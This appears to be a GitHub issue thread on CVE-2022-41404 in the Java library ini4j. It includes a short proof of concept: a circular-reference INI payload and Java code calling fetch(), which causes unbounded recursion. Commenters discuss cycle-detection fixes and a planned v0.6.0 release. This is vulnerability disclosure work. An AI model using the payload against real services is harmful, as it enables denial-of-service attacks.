#56 The package org.ini4j before 0.5.4 are vulnerable to get value via the fetch() method in BasicProfile class, which may lead to DoS attacks.

[bingdian]

Test logic usable to reproduce the behaviour
payload:
----payload.ini

[dopey]
 weight = ${bashful/weight}
 height = ${doc/height}

[bashful]
 weight = ${dopey/weight}
 height = ${dopey/height}

 [doc]
 weight = 49.5
 height = 87.7

----java poc

        Ini ini = new Ini();
        ini.load(new FileReader(new File("/Users/bingdian/IdeaProjects/soot/src/main/java/test.ini"))
        );
        ini.get("dopey").fetch("weight");

[Salvatore Bonaccorso]

@szkiba, @bingdian: the description mentions that the issue is present before version 0.5.4. Can you elaborate where the issue was fixed landing in that version?

[Bogdan]

[Marc Lafon]

I have taken a quick look to the source code, the problem seem to come from the recursive calls from the BasicProfileSection.fetch and BasicProfile.resolve methods... recursive loop is still present in version 0.54, without any limitation.

[paradox]

I tried to limit the number of recursions.
Can this modification solve the above problem?

https://github.com/SuperMap/ini4j/commit/917865af0244c32fafe9939fe69af6577f9a6077

[Craig]

This issue was assigned CVE-2022-41404. (nvd.nist.gov).

It would be great to resolve this issue - can the project maintainer please accept the requested change and make a release?

[Akisa]

Thank you for providing this amazing things.

[Robert Nile]

You’ve got a circular reference error:

ini
Copy
Edit
[dopey]
weight = ${bashful/weight}
[bashful]
weight = ${dopey/weight}
Those two point to each other, causing infinite recursion.

✅ Fix:
Break the cycle by referencing a concrete value, e.g.:

ini
Copy
Edit
[dopey]
weight = ${doc/weight}

[bashful]
weight = ${doc/weight}
Or detect and reject circular refs in code.

[kliys ideom]

Good catch — the recursive loop explanation and payload example make this vulnerability very clear. A proper recursion limit or cycle detection is essential to prevent DoS.

[Ivan SZKIBA]

Hello,

A fix for this specific vulnerability (CVE-2022-41404) has been prioritized and is scheduled for the upcoming v0.6.0 release.

The project is currently migrating to GitHub to modernize the build pipeline and deliver this security patch effectively. Please be patient while the infrastructure is finalized to support the new release.

You can track the migration progress and release status here:
https://github.com/ini4j/ini4j/issues/1

The fix will be published to Maven Central as soon as v0.6.0 is ready.

Best regards,
ini4j Project